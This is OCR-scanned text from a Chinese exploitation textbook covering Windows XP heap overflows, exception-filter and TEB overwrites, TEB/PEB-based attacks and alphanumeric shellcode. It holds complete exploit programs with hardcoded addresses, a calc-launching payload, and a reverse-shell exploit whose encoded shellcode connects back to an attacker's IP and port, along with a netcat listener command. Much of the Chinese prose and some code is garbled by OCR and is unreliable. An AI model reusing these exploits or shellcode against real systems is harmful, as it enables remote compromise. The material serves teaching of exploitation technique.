#. £Windows 2000k, BT HA Vetored WAL ISl JALMIH—HE. FLBMHMMA kAP,
do AT G HALAE TR RRE, T RELBI) — AP, BALMN, ARBEETRBELR
SWAA . SHERARLDRN TS QRM, 2ERZBIAAR, R, EAFET
AR,

KiUserExceptionDispatcher () ## /i UnhandledExceptionFilter () & 44
MABRREATRRRE, RFAREMAALER¥iLRSB. FHUnhandledExcep-
tionFilter () 44 INT/ZwQueryInformationProcess A 4% d 4 , 4o 3 i# 4L 4t F 8 i 3k
&, EA & HHFe ko) £ Fi% H OXFFFFFFFF. NT/ZwQuerylnformationProcessi& & & ,
UnhandledExceptionFilter() & # 3 e i A X F fo— MM R 09 F 4 BUOLR, wRER, 3§
MARBREFLRE, R FER, FAMALERELRS, M, o RELEMRLA
RPN AR R NS, LR RO REN S, SR N 56,
JE0XFFFFFFFF0x00000000, A4S IATHAE. KA, AL IRFH LR BIF2HA
.

T E 4T Windows XP SPIF & LA R AN LR BMARSD, BB, hTUE
0x77E9310BA R EWR&, FHRELA, RMMIMM. —LARAN A, RINHKT oA (EBP-20n] 3%
A0x00000000, &, KAAN L BARHERAM,
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77E930F5 lea eax, [ebp-20h]

77693068 push eax

77E930F9 push 7

77E930FB call 77E7E6B9

77E7E6B9 or eax, OFFh

77E7E6BC ret

S 43R (EBP+20n) % F0x00000000

e ot (ESIMY M) , BAMWA
77€93101 call dword : [77€610ACh]
it il ! Unhandled Exception Filter

77F76035 mov eax, 9Ah

77F7603A mov edx, 7FFE0300h

77F7603F call ed>

FFFE0300 mov. edx, esp

7FFE0302 sysenter ————— HHABMR
7FFEO304 ret

77F76041 ret 14h

77693107 test eax, eax

71 77€93114

r duword gt [ebp-20n], s

'7E9310E 77E9371 RPN TR

77693114 mov eax, [77ED7384] mRESIA% T (s8e-
77E93119 cmp eax, esi 20n), BEBI0x77E937DY|
77693118 je 77693132

77693110 push edi

7769311E call eax
77€937D9 mov. eax, fs : [00000018] ickipaiiasieioion
77€937DF mov o i v Lo 30h]
779372 test feax+65h),1
77E937E6 je Teofid

Windows XP SPIF- & L iR ACE 5 ¥ IL 28 28

4 T 7EHERE AR SOR B AR KA TR MR 98 38, TR EIE SN AL TR PR R S8 R T o
B, AAMRREERELIRTLART, RETIRLERHLBET .

#include <stdio.h>
#include <windows.h>

int foo(char *buf);
int main(int argc, char *argv(])
{

HMODULE 1;
1 = LoadLibrary("msvert.dll®);
1 = LoadLibrary("netapi32.dll");
printf(*\n\nHeapoverflow program.\n");
if(arge 1= 2)

return printf ("ARGS!");
foo(argvil]);
return 0;

}

int foo(char *buf)



8.7 KAEES 149

HLOCAL hl = 0, h2 = 0;
HANDLE hp;

HeapCreate (0, 0x1000, 0x10000) ;

return printf(*Failed to create heap.\n");
hl = HeapAlloc (hp, HEAP_ZERO_MEMORY,260) ;
printf ("HEAP: %.8X %.8X\n",hl,&hl);

// Heap Overflow occurs here:
strepy (hl, buf) ;

// We gain control of this second call to HeapAlloc
h2 = HeapAlloc (hp, HEAP_ZERO_MEMORY, 260) ;
printf(*hello");
return 0;
)
FE AR XA SR (Bt xR B REEA, —A GRED
[ 0x77ED73BA I KR AL 3B 5 id #8848, 53 — M 4 0x77C3BBAD netapi32.d1l A A K call
Gword ptr[edi+0x78]#K4 HyMitk, £ K illfHeapalloc ()i, BEMIEBH;HFHRH.
BOO AN AR YR W O BRFAE, FURLERHILEBHAN, RIIBSITAG. EX, RN
AT B rp K R IR AL (EDT+0x783R AT ), BRI ST o B MR
#include <stdio.h>

#include <windows.h>

unsigned int GetAddress(char *lib, char *func);
void fixupaddresses(char *tmp, unsigned int x);

int main()
{

unsigned char buffer(1000]=
unsigned char heap(8]="";

unsigned char pebf(8)="";

unsigned char shellcode(200]=
unsigned int address_of_system
unsigned
unsigned i
int cnt = 0;

printf('Getting address of system...\n");
address_of_system = GetAddress("msvcrt.dll®, *system");
if(address_of_system == 0)

return printf("Failed to get address.\n");
printf("Address of msvert.system\t\t\t= %.8X\n",address_of_system);
strepy (buffer, *heapl *);
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while(cnt < 66)
4
strcat (buffer, "DDDD*) ;
cntes;
// This is where EDI+Ox74 points to 8o we need to do a short jmp forwards
strcat (buffer, *\xEB\x14") ;

/1 some padding
streat (buffer, *\x44\x44\x44\x44\x44\x44") ;

// This address (0x77C3BBAD : netapi32.dll XP SP1) contains
// a "call dword ptr(edi+0x74]" instruction. We overwrite
// the Unhandled Exception Filter with this address.

streat (buffer, "\xad\xbb\xc3\x77") ;

// Pointer to the Unhandled Exception Filter
strcat (buffer, *\xB4\x73\xED\x77") ; // 77ED73B4

cnt =

while(ent < 21)
«
strcat (buffer, "\x90") ;
cnt ++;
)
// shellcode stuff to call system(*calc*);

streat (buffer, *\x33\xC0\x50\x68\x63\x61\x6C\x63\x54\X5B\X50\x53\xB9*) ;
fixupaddresses (tmp, address_of_system) ;
strcat (buffer, tmp) ;
streat (buffer, "\xFF\xD1\x90\x90" ) ;
printf("\nExecuting heapl.exe... calc should open.\n");
system(buffer) ;
return 0;

unsigned int GetAddress(char *1ib, char *func)
{
HMODULE 1=NULL;
unsigned int
1 = Loaduibrary(lib);

i£(11)

return 0;
X = GetProcAddress (1, func);
1£(1x)

return 0;
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return x;

void fixupaddresses(char *tmp, unsigned int x)
{  unsigned int a = 0;

a=x;
a=a<<24;
a=a> 24;
tmp[0]=a;

}
Overwrite Pointer to Exception Handler in Thread Environment Block

. MDA RSN BB H 2 —, Halvar Flake S — MRS H TEBE M4
Mttt RINMY, SMRBMETEB, TUBLrsBFFRVEE. Fs: (01 BAHA
WS RE MR . TEBERNAKMERRTE S ORE. A FHaRO%HE
¥*. B MREMTEBMALE % R0x7FFDE000, H-MREMTEBMLRZ0x7FFDD000, FiH
HMRO0x1000FH, K FHE . TEBI0x0000000075 K. FHINHERE—MLBNTER
Hahk:

#include <stdio.h>
int main()
_—asm(
mov eax, dword ptr fs:[0x18]
push eax
}
printf ("TEB: %.8X\n");
—asm{
add esp, 4

}

return 0;
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IMRARR L, TR & TROENEEHAIX N ERR. BEA - MREEES
8t ) B (TEB K 41k 0x7FFDE000), 84 4 1) 55 — AN 57 9 i A 46 H O 4R 6t 4G (R 77 45
O0x7FFDE000. ZEHERS Hith, RATATLUAIHE o vEMH MR IR BT ke, A ZUi s
RAES, REBIH, ROTRES T HEBITOARRF OB . AT, LREEIZREMSE B,
R AR, KR NRAITS e SHN SR RN TEBE - ATy . BRRB, XKW
WE T REREF (WATRATHICGT-based). WRIRRLES LIRS 28 LERIRAN T, Ba
BAFRIREZNER, RENPIEARIRHTEB AL

873 &

— EUEER R T, WATREEGEE . RO MRAIXEM, RIIMEEH99.9%K
WAL TRV S mRBEOR RS RRE, BATREREA. HR, W%
B BB, KRGS S X AN F — A SRR KN, 5. BATATLUEEUXAME,
Bt S XA 58 ORI AL, A RAEBARIOR . — BB SRR AT R
A, BTN RALE AN T, EERRRGAFE, AL, R
Wk, Y AMEEEMSRARENELB AR, R EFreeLists[0) (HEAP_BASE +
0x178) HHMEHIRFE— NS ({EHEAP_BASE + 0x6884bFTLIIRED, H—A %W
PAH WA REHE I FreeLists (0], RATATUMEKFreeLists (0] MifkE, iLEiRmRER,
WEERE - DERRERESENKZE. RINMBERREW XS RLEMIR, bEkE
FreeLists (01— X JLAL MR TE . BRI T BRAMARHE R oodEsh, AT LU FREAiC
AR E . EMIA T2 B SEIEAT X BT AT LUTB M BB, IR, €t R R
A e P A A BRI A STHE, SXPEROE, RV BRI R A, SRR 2 R T AT R ER
RET .

// We've just landed in our buffer after a
// call to dword ptrledi+74]. This, therefore
// is a pointer to the heap control structure
// so move this into edx as we'll need to

/1 set some values here

mov edx, dword ptrledi+74]

// If running on Windows 2000 use this

// instead

// mov edx, dword ptrlesi+0x4C]

// Push 0x18 onto the stack

push 0x18

// and pop into EBX

pop ebx

/! Get a pointer to the Thread Information

// Block at £s:(18]

mov eax, dword ptr £s:([ebx]

// Get a pointer to the Process Environment
/1 Block from the TEB.

mov eax, dword ptr[eax+0x30]
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// Get a pointer to the default process heap
// from the PEB

mov eax, dword ptr({eax+0x18]

// We now have in eax a pointer to the heap
// This address will be of the form 0x00nn0000
// Adjust the pointer to the heap to point to the
// TotalFreeSize dword of the heap structure
add al,0x28

// move the WORD in TotalFreeSize into si
mov si, word ptrleax]

// and then write this to our heap control

// structure. We need this.

mov word ptr[edx],si

// Adjust edx by 2

inc edax

inc edx

// set the previous size to 8

mov byte ptr[ledx],0x08

inc edx

// Set the next 2 bytes to 0

mov si, word ptr[edx]

xor word ptrledx],si

inc edx

inc edx

// Set the flags to 0x14

mov byte ptrledx],0x14

inc edx

// and the next 2 bytes to 0

mov si, word ptrledx]

xor word ptrledx],si

inc edx

inc edx

// now adjust eax to point to heap_base+0x178
// It's already heap_base+0x28

add ax, 0x150

// eax mow points to FreeLists(0)

// now write edx into FreeLists(0].Flink

mov dword ptr(eax],edx

// and write edx into FreeLists[0].Blink

mov Gword ptrleax+d],edx

// Finally set the pointers at the end of our
// block to point to FreeLists[0]

mov dword ptrledx],eax

mov dword ptrledx+d],eax

BIOEZIR, NEHERBITRIGT « NUEB— T, N}Jﬁf&ﬂ‘lﬁﬁﬂﬁé&i&ﬁﬁﬁﬂ*ﬂﬁﬁﬁ%’

B, FTUARMA LB A SFH. G, WA tupfi, wi K ERAFLENE b
R BIRUORE, XL BB LAIR, T4 8 winsock i 3K (R 5 #0451V 193

i
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8.7.4 ML A E AR SRR

TR R H R  Heapalloc () FlHeapFree () VFIBBARAY . HERS B9 3AL IR
AREEARR T CHEIFAE EEE AL ST (COM) HWR. COMAVRT G hilt
MFE PRI BN S . M RA EMER I, A LI SE R EE S . KT COMA —MRIFHISE
B, MERMAKA TR (www.microsoft.com/com/). COMABLEIE? L HERENH
IR ?

1. COMxf AN

BXFRLHL GRRUERAIET) i, BEES LRCSHERYT . METREIRTHIR
WeblE, WEHEFAEvtable, XEHH R X BSLFMI 5. viableRABAIANE R, TS HE
SRR, Y- MHCOMM S pIRRet, EAIBURALITAIRMN R LT, Fit, mR—1
R EHR BRI X R T, SRAEMA? Ehkl i Elviablerh AR . WHRBE XS
QIS TR, B TTRE 1. B BT A B R RS, BT LB RIX AR
AT AP [ G B3 I S vtableP 94 H o BT, MXERAHIEAARIRS, PATERHE
S ] BBt # fARED . #EInternet ExplorerfiActiveXit % A M & WBIE. EFCOMMHR R
SHRA .

2. MR FRRIBERE

TERRHERS Y T AR T84T Bl SRS HOARES o AR R AR B ARAFAEHE Ly Rt B AR
P AR . B, IRBWeblR% MM LIRIE— A, Sitrh RS R IL H AR B
B R ARLRE R ELBIREHXANG M, AT AT AR WebiR B RATYH ATS . Brli#
AT DAk Web iR 25 _LA% — 26 AR TG,  LUIEAT R IMEBURRR o
875 HXMMBL

S BT AR5 1 0 T — RSB BRSO IV 5 MR 1
SE I BCARAD o A A0S TT RN AR (MBS HATREVEAS ] SR A8 tHAESE S 5 B LA 55
{BYE S SMSH AR SH WA, DM ELR T TREGIHE, FURINCLRET LENER
TR A SRR BRI A T AT U — Do, S LA IR 2 R

8.8 HihAyiith
KGRI S HCAR AR

8.8.1 .data XEiiH

—AFE A X B R BT RATEE . texe KB, . dataR B & HIMA AR
Z KT PG . YRAT L3 F /HEADERS ¥ 55, dumpbin# X B £ BB Al kBRSO, A
/SECTIONS: .section_nameii I #R MUK & X B A (5 B . BALKRIEDOAME, BE
WindowsH1, BISEAFLE . dacalX B, IFal LURIA, RATH MR W, EEMIH
BT KCHIY:
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#include <stdio.h>
#include <windows.h>

unsigned char buffer(32]="";
FARPROC mprintf = 0;
FARPROC mstrepy = 0;

int main(int arge, char *argv(])
8
HMODULE 1 = 0;
1 = LoadLibrary(*msvert.dll®);
i£(11)
return 0;
mprintf = GetProcAddress(l, "printf®);
if (imprintf)
return 0;
mstrcpy = GetProcAddress (1, "strcpy”);
if (Imstrepy)
return 0;
(mstrcpy) (bufter,argvil]);
_asn{ add esp,8 }
(mprintf) ("$s*, buffer);
__asm{ add esp,8 )
FreeLibrary(1);

return 0;

)

WFEHBITE, BFLXHEMBRCETHE (nsvert.a1l), BF|strepy () Mprinte ()&
Hoshik, FEAEXLARIRRAE A LR, Bk, EIRFE. cacaKBE. FHFERERE
A R32BYRIR o X R B R T BIBARBIGIRX, HAHGEX  K ABIEE I
AT, BERARERGOHF. S HER—, ETRMREFE BB . SRR
HIE . dataX B R, FAREERHIEGNXE. WREMKHREN, BEIRHOHRKT, %
HeURAN, BodiE AT AR [ AT

Y- MK NBYOEITEMRFN, KREMHAR. EBLTRFHE - S HBistrcpy
B SRR X, AT PR X B, 05 M it BT ORI Aprinc e RBUR
) BlbERARBIA. MR, B THRRAHE, REEAT - MRKCERF. EXLRISE
o, BT RIX AR S EIEMRFR, % HE KRB T R LA, TR
REATUEA B KB R, PR HRTD AT e O LR R b X AR T
KRR At B (AL T SR IX AR 1) SR « TERXAM Y B, MprincebRBUREHBMAR,
EAXIR MK BTk, FRAUM—MIEjnp eaxBcall eaxHiiihl %5 W Miket. MH,
GG X BedE SR hprinc WY, FTLIEESP+8RbHAERBIX EMFIM . KK
FHRAVE S —A . T flpop reg. pop reg. retifARMFF Mttt B Sprint il
BirdRet, XA, 4P KpopPAT/E, ESPHHRMABMKX. B, HretPATH, RAMEZM
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K07k, HFARBEFHIAT AEBRE, KHERHAE L. . dacaK B HHTFLR,
BRAEERE E MM RIEX CETE. datalX BED, B, RATEZMEACHIEZ RS
Lk i

8.8.2 TEB/PEB it

T ek, RS H Ay e R AT R T IR H I A FFER, HTEBSH 7]
etk RAEAEN . ﬁ’\TEB%‘BAﬁ ANEMWK, T HEANSITFF 5 # # 4 Unicode 47 5 o
etC LeHandleAXPE I R BOR M RIX AN GEAFIX, EHERHKAD. B
1B B XA K A A B T, B XA R R BRANSIF A ISR K BE, BARA
T R XA . R HIUEAMET, BEARATHITERANR? XEH LB TEBER
HT. MBRE-NMEFEMTEB, FRA RN BIPEB. EiCAG, RIERTQRHEREI:
BRI, K5I FIPEBE LIRS . WRAT USSR EARE P IEA — A, A AT REER
[RATEHI . WRERIBLBRITEB, AT AR H B AR TEB,

BATEBRAA — LB TR AT AR, 38 i 5 —/Mif) EXCEPTION REGISTR-
ATIO tt. ERAIRINIFIH T B, WEUXMFTAKSIRIE. 4R, H©
WA H - STEB, ELF|BUF %M BIPEB, HREREETNZ PR . MRXFEH @
HAETE, FRADGZREA LABRRN, BRFERA, EIFRRATRE, B Fh hr o 2
Unicode.

8.9 FRMRLE MM A AT

T PR AE th 1, Sun Solaris IEAEAR AR ATIAT . 1XHE, FETERR RIZATRAMRBAR
ARFSR LRI AT, 2T x864LHE 251 SolaristR N HEBAT I N AT HAT . EIAEA L% 27
T BURAEAEIEAT o AR AR, MURRIAA RIS ERR AT, & RIX R,

HTEAT E TR, 5T LR RS R . Solar Designerdti: filsystem() ¥
AL S BRAF R [kt , HeAFOhiE (NRZMIMBD BEMAE, Fitk, Raf—MEeHRRE
HAGEIT IR . XA, Hrec AN, PUTHAMIE M Elsystem() B¥, LAIKIESPIHRE
DhiE R IR . B BIBATIXAN RARBT, REMILENWIIET . EHB—NSHLErsea,
TEHS B AR DU I RATAr 4 A9474T . David Litchfiled Bit—R®3C, X4 T EFFEWindows
EAEREAN T o AL, BAVEHR T MR ENEA L 97 7T LR R AT BT mgmﬂww\.
RA17EBugtraq k- A7 £ T Rafal Wojtezuk RN F (http ity.core-sdi.com/~j
exec-stack-problems.html), ‘EAMA T H AN ik XK Y RFRERBANER, 5
TEWindows V& LB AT IR, FTLL, RATIERAEH—TF .

Flsystem() Huik i S fRAF (I8 [ uht 24744 8:  Windows Lsystem () Himsvert. a114))
t, ERRNRSE L RERFA—-REOARREERD, XADLLEARFH A RERAFKK.
i A BB 34T 4 fir & XK1 ) Windows AP, Xt AE A IRATI0H AR i) 0 LA RN OS2 g
BE. SEHF A LT AR ARG X ST EE AR BRI T S AT ST M N AF RO, R IRIEISIXA
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HITHPITE . AT B TR B RS MBS R RR ML . BARRATR A 5%
system() FIE i —#F, ARG screpy (), strepy () #Hmsvere. a1 . {E1strepy ()
HIAF, EHikernel32. dllfit, EAAUREAR —REMGNEREE, SHAHFA ML
MR Lserepy O FREEIRE (Bifn, SRR EE THoxoAXEMFFR), FabLlE
1strcatKBf.

G HIEIFEE? RATT AL B3 M, (R, BRI E TS B AL,
HATEB, SATEBHA —520BRABIK, FIFIANSIFH % K Unicode 44, TEB
FFLBIR X KRB B 0xC00. WS R 4 — MR PR MY TEBLE 0x7FFDE000LE, BILEE ML F
0x7FFDECO04E. #HliGetModuleHandleA M i ¥ XN AT P $ e . RATAT LIRS
1k H SRR 4 1strepy (), BENFELRAHNULL, BT ASEE L3REEM £ ox7FFDECOA.
RIE, RNBENUERERTOME, FARRFEREROME WX MRt fEnvis
ZAG (Bisw, 0x0012FFDO), HUAERK. HINULLIEYFHFHMALILR, IR mEMLEA,
ARG? B5, TEALX B H shellcode I HIBIM T, TIARIRHE—A Oyt H9E bk,
Bk, Histrepyl [N, SATHELEA T RAIMGMHK .

P84 7R T ARAERE HBTJR (KRS
0x0012FFDO 0x0012FFDO
FrKE CODE
RAMEHE cope
ARAFIE B ik LSTRCPYOfjHitht
OXTFFDECO4
LSTRCPYOII& el ik
O0X7FFECO4
10 EARAAE R et
0x0012FF00
SRIEIRAE R
BT B
P84 REHHI/E IR

55 (N R HOR EIR, AR IR EF S GRAF AR El it . B 1strepy O MIMAES T
WERFFHIEERAE, HTUL, ERBCERE, BIFETH1strepy (). E4TH1strepy () B, ESP
HRIVIRAF (9B L . AR5 » BRI B (R A7 3R Bl BBV 1S 1 B 30— B B9 b X .
‘Er#0x0012FFDOM MR B ) 0x7FFDECO4, ELFIMEH—NULL (¥ tHBRZEL R M T —
BEI8-4R R BB AT (RIRL ), — BB, 1strepyiRIEIBIBANMBEX, NI BALERAT.
4R, Bt Hshellcode XN T 5208 (TEBHHEMK AR, M, $RATAESREHIXANEn
B, BUEAIAMMTEB, XERHREFHRETRSE —MEBRNTERT, WRE, ¥R HFIPEB.
CRANIBA G #511 HE TEB/PEB-based¥ tH () AT Al . )
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HEEFRTZA, MUELBX MR, WRBERRBFER T ATEBE X AT
ANSIE|Unicode$% B RY, BARBMBL L. RYHEL, TEBREARSREBHZER (8
Pit, HETRAEE), RAVTURMXEEME. s, H— MEEKTEBEMox7FFDEIBC
FFEE R IR RRAK R o

BER T . BERMSEHRS:

#include <stdio.h>
int foo(char *);

int main(int arge, char *argv(])
{
unsigned char buffer[520]="";
if (arge 1=2)
return printf("Please supply an argument!\n");
foo(argv(l]);
return 0;
}

int foo(char *input)

{
unsigned char buffer(600]="";
printf (*$.8X\n", &buffer);
strepy (buffer, input) ;
return 0;

}

foo () B B Bkl th 1. B FH600BH B X Kl Flstrepy, EHERHRERMAIX.
L35 HIXAMEFFRT, i Lstrcatalfi ik S RAF MG I bt .

sEMR £ Windows XP SP1 E, 1lstrcpy®# 0x0A,

FR, RIVERAEEE BN 1strcatalB BN Ml (FEIX BHHEE BN TEBR MH
MK ). BETEN1strcata (TEB) W& HMBMRMFHRMNX, HAMEHXMER L.
X 445) F-#5 £ 7E Windows XP SP1 L FMicrosoft Visual C++ 6,04 %K. RATEKEMRTRETH
i Windows X Fishellcode. & AT AZEAETAR A i Windows NTER S 47 i) R Li24T, #/FIPEB#
B MBBRIFIR . WX BTFG, E@Flkernel32.a11M% 4L, K/E4Hkernel32.d11/PE
3k ¥ #3 Bl GetProcaddress MM ik . T 3X /Myt Fikernel32. a1y 2k, RATIAT LA E
LoadLibraryAflyfiit; # 7 XA RE, BATRALUNFHAN T . HnetcacUTHA:

€:\>nc -1 -p 53
RIEBITXABAR, T LEE —A R Fshello

#include <stdio.h>
#include <windows.h>
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unsigned char exploit[510]=
" \X55\XBB\XEC\XEB\X03 \x5B\xEB\x05 \XE8 \XF8\XFF\XxFF\XFF\xBE\XFF\xFF"
*\XFF\XFF\X81\XF6\xDC\XFE\XFF\xFF\x03\XDE\x33\xC0O\x50\x50\x50\x50"
"\%50\x50\x50 \x50 \x50 \x50 \xFF\xD3 \x50\x68\x61\x72\x79\x41\x68\x4C"
"\x69\%62\x72\x68\x4C\K6F\X61\x64\x54 \XFF\x75\xFC\XFF\x55\xF4\x89"
*\x45\XF0\x83\xC3\x63\x83 \xC3\x5D\x33\xC9\xB1\x4E\xB2 \xFF\x30\x13*
*\x83 \XEB\X01\XE2 \XF9 \x43\x53 \xFF\x75\xFC\XFF\x55\xF4\x89 \x45\XEC"
" \xB3\xC3\x10\x53 \XFF\x75\XxFC\XFF\x55\xF4\x89\x45\xE8\x83 \xC3\x0C*
" \X53\XFF \x55\xFO0\x89\x45\xF8\x83\XC3\x0C\x53 \X50\XFF\X55 \xF4 \x89 "
"\x45\xE4\x83\XC3\x0C\x53 \xFF\x75\xF8\xFF\x55\xF4\x89 \x45\xE0\x83 "
"\XC3\x0C\X53\XFF\x75\XF8\XFF\x55\xF4\x89\x45\xDC\x83\xC3\x08\x89 *
“\X5D\XDB\x33\xD2 \x66\x83\xC2\x02\x54\X52 \XFF\x55\XE4 \x33 \XxC0\x33 "
"\XC9\x66\xBI\x04\x01\x50\XE2 \XFD\x89 \x45\xD4\x89\x45\xDO\XBF\x0A"
"\x01\x01\%26\x89 \x7D\XCC\x40\x40\x89\x45\xC8\x66 \xBE \XFF\XFF\x66 "
"\X35\XFF\XCA\X66\x89 \x45\xCA\X6A\x01\x6A\X02 \XFF\x55\XE0\x89 \x45"
*\XEO\X6A\X10\x8D\x75\xC8\x56\x8B\X5D\XE0\x53 \XFF\X55\xDC\x83\XCO*
*\%44\xB9\xB5\x58\XFF\XFF\XFF\x83\xCO\x5E\x83\xCO\x5E\x89\x45\x84 "
"\x89\x5D\x90\x89 \x5D\x94\x89 \x5D\x98\x8D\xBD\x48\XFF\XFF\XFF\x57 "
" \XBD\XBD\x58 \XFF \XFF\XFF\x57 \x33\xCO\x50\x50\x50\x83\xC0O\x01\x50"
"\x83\XEB\X01\x50\x50\xBB\X5D\xD8\x53 \x50 \XFF\x55\XEC\XFF\X55 \XE8 "
"\%60\x33\xD2\x83\xC2\x30\x64 \x8B\x02\x8B\x40\x0C\x8B\x70\x1C\XAD*"
"\xBB\X50\x08\x52 \xBB\XC2 \x8B\XF2 \x8B\XDA\XBB\XCA\X03\x52 \x3C\x03 "
"\%42\x78\x03\x58 \x1C\x51 \x6A\X1F\x59\x41\x03\x34\x08\x59\x03\x48 "
“\X24\X5A\X52 \xBB\XFA\X03\x3E\x81\x3F\x47\x65\x74\x50\x74 \x08\x83 "
\XC6\x04\x83 \XC1\x02 \XEB\XEC\x83\XC7\x04\x81\x3F\x72\X6F\x63\x41"
*\x74\x08\x83 \xC6\x04\x83 \xC1\x02 \XEB\XD9 \ x8B\XFA\XOF\XB7 \x01\x03 "
‘\x]C\xBB\xES\x7C\x2¢\xdl\xBH\x3C\x2¢\xBS\x7C\x24\x4C\xSF\xEl\x€3' ﬂ
"\x90\x90\x90 D\x90 \x8C*
*\XBE\XFF\XFF\XBA\x87\x96\x8B\xAB\x97\x8D\x9A\XIE\XIB\XFF\XFF\XA8 "
" \XBC\XCD\XAO \XCC\XCD\XD1\x9B\x93\x93 \XFF\XFF\xA8 \XAC\XBE\XAC\X8B"
"\X9E\XBD\xBB\x8A\x8F \XFF\XFF\XAB\XAC\XBE\XAC\x90\x9C\x94 \xIA\x8B"
"\XBE\XFF\XFF\x9C\x90\x91\x91\x9A\x9C\x8B\XFF\X9C\x92 \x9B\XFF\XFF "
"\XFF\XFF\XFF\XFF " ;

int main(int argc, char *argv(])
{
int cnt = 0;
unsigned char buffer([1000)=""

if(arge t=3)
return 0;

Startwinsock () ;
// Set the IP address and port in the exploit code
// 1f your IP address has a NULL in it then the string will be truncated. -

SetUpExploit (argv(1],atoi(argv(2]));

// name of the vulnerable program
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strcpy (buffer, 'nes *);
/1 copy exploit code to the buffer
strcat (buffer, exploit) ;

// Pad out the buffer
while(cnt < 25)
{
strcat (buffer, "\x90\x90\x90\x90") ;
cnt +

strcat (buffer, "\x90\x90\x90\x90") ;

// Here's where we overwrite the saved return address
// This is the address of lstrcatA on Windows XP SP 1
// 0X717E74B66

strcat (buffer, "\x66\x4B\XE7\x77") ;

/1 Set the return address for lstrcath
// this is where our code will be copied to in the TEB
strcat (buffer, * \XBC\XE1\XFD\x7F") ;

/1 Set the destination buffer for lstrcath
// This is in the TEB and we'll return to here.
strcat (buffer, *\XBC\XEL\XFD\x7F"*) ;

/1 This is our source buffer. This is the address
/1 where we find our original buffer on the stack
strcat (buffer, *\x10\xFB\x12") ;

// Now execute the vulnerable program!
WinExec (buffer, SW_MAXIMIZE) ;

return 0;

int Startwinsock()

{

int err=0;
WORD wVersionRequested;
WSADATA wsaData;

wVersionRequested = MAKEWORD( 2, 0 );
err = WSAStartup( wVersionRequested, &wsaData );
if (err 1= 0)

return 0;

if ( LOBYTE( wsaData.wVersion ) != 2 || HIBYTE(wsaData.wVersion ) !

0
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WSACleanup( );
return 0;

3

return 0;

int SetUpExploit(char *myip, int myport)
€

unsigned int ip=0;
unsigned short prt=0;
char *ipt='";

char *prt

ip = inet_addr (myip);

exploit[194)=ipt(3);

// set the TCP port to connect on
// netcat should be listening on this port
// e.g. nc -1 -p 53

= htons ((unsigned short)myport);
prt = prt * OXFFFF;

prtt = (char *) &prt;
exploit[209)=prtt(0];
exploit[210]=pree(1];

return 0;

}
8.10 /&
AT T Windows GE0HECH HRRHIREZE 469) . T MU LL 1 F A B B8 Ak TORBE

BRARL: BIGAT s th IR I R LRI, (B ATk, SUE — ezl AT MBSk
X e R T AR, TRATIG B SR AE L ) FIRBR E O TR R T



HFEFFE BTN, SR REE, FTCAES S A FI G b2 h A RS,
REARE LA, b, ARRFTRARZFERET: A~Z, a~z, 0~9.
EXFHRT, ROBELLH R, B—, REOAANRBLATETERNER £,
DAIRBErE AR S ORAF IR [ B o R i, TOAX SCBER R T Rt T X ME
BREEHLEBER. BRORBIRAHLICLIER, Wi, BZAITEHASCIR UnicodeF7F,
RATARHTUMRRE — A HE, AEERB-AE, £ 2RELEFES BOFRST.

9.1 A{UESFHINMTHTIEESUBNE

BATTLANY A — 22 THT D (ASCIIF A AL BRI BARIRTD, SRR DL, B FWUHEA
BI1Z (ox41F0x5n). aFlz (0x61F|0x7a) EROFI9 (0x30FJ0x39) Z[i. Riley “Caezar” Eller
#EAb 1 X Bypassing MSB Data filters for Buffer Overflows (20004:8) B4 ~K3R3) T XL
10x20% 0x 7R 6] ) FF-S 41 A HRARX FEBIL HAGE, XRCERDA
HEIATTH R

JIFBE BT AR Sshellcode 9 ATy v, MM AHF L. Bl WRAEHITcall
eaxfii4 (OxFF 0xp0), MEHTHEMMRFLE I L.

push 30h (6A 30) /1 Push 0x00000030 onto the stack

pop eax (58) // Pop it into the EAX register

xor al,30h (34 30) // XOR al with 0x30. This leaves 0x00000000 in EAX.
dec eax (48) // Take 1 off the EAX leaving OXFFFFFFFF

xor eax,7A39393%h (35 39 39 39 7A) // This XOR leaves 0x85C6C6C6 in EAX.

xor eax,55395656h (35 56 56 39 55) // and this leaves OxDOFF9090 in EAX

push eax (50) // We push this onto the stack.

FRRARLE, RAVFR LA R /7% Fshellcode, {B5:FF_EAREB M. RIMEAHE
R L, HHEBHFRAAEE. EFEXpop esp P RAxSCEIME (RFRFT), FLUAME
BEPATE. B MIEESPIR? W4E, RAVRUS HEHES SOERAAT R AT AT/ B
SEEEK. SXRKAT, ESPITHUHLITE R T MRTBAT ML BREAEFF AT I A — MREGE
X B, BMATLAHING ESP(0x4d) i LiH¥EESP. AT, XFEAKLF, HX-%&INc Espié
RgfEeseitpibini, Hinc espfi€GRIIFY, MESKELARIIEEIR. TRNWE
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F KT E ARSI S

popadff & RiEAXFHI . popad (MM Fpushad) MESPRITHHEES2B, REHE
BN PN 73 . popad FELEEH (K #7788 L Ese, Hespi iR RBU 2N
LB £ T32B. XH, WMRLHEESPARAT, AMMIT/LKpopad, ESPIH ML & T
LRTfht. Bk, %Eshellcode AR, FHWAENMAE: RINPET —HEHEWHILH
.

BAEFT SHAAK OB B BB B RLMARRIT. Eilificall eaxtIBITFH, R
J1TBIIF 8. B F5 th T 4BHishellcode. £2% 4 ¥y A B 1 1Y Windows % [ shellcode A HEH
500B, HExRiM), KA. HFSMshellcode ™ fEREIT2 000B. AT, FEMEMEKEH
AR, TOH, WRAFHMIeE, —VMENSIA. BARBXEER? RS %R LR
#T.

WMRAE HIFHNBAE, RERHERT, BaRBELAASCIES —MFBE, REHIT
AT o XA R FFSEE —ANMIASCI shellcode, WML BKHE. Hix
SEFITRMRISITENE ? BaseOA%RiY T AR AN R MILEF. Base64it3BHE N T HIH14B,
B FIEM S BRI BaseG4MBIA —1E, 3B Mshellcode BRI TS
flishellcode. AT, Base64ifd& T aE T —Lipv i, HFHFHR, Hit, RMITEREHL
MBI GTG Ty . LB B A5, SRATRISE/ING RS B ARRS R B S RAT A i FEIX R, AN
i Base64 /)2 Fp——Basel6. T HARE M TIEFE.

Basel6if— AL F WA MBMLTF Y, GAAAEM Loxal, XH¥—K, BRALEER
— AL R AE 0415 0x50 2 (2B, i, MR —ASLLFHRox90 (i
£10010000), EESR24LES, 1001710000; Fim Loxa1, #H oxaaRoxs1 (g
Mad.

PRI TAERBRIFR . EHARE—DEHs FEXAMITRER0xA), WEoxal,
RIGEBML, BIMEB-AFEY, HmEoxal. BITXKFFHLARY G, RITAET 0x90.

Here:

mov. al,byte ptr [edi]
sub al,41h
shl al,4
inc edi
aad al,byte ptr [edi]
sub al,41h

|!\ov by?e ptr (esi),al
ine cai
cmp byte ptredi),0x51
b here
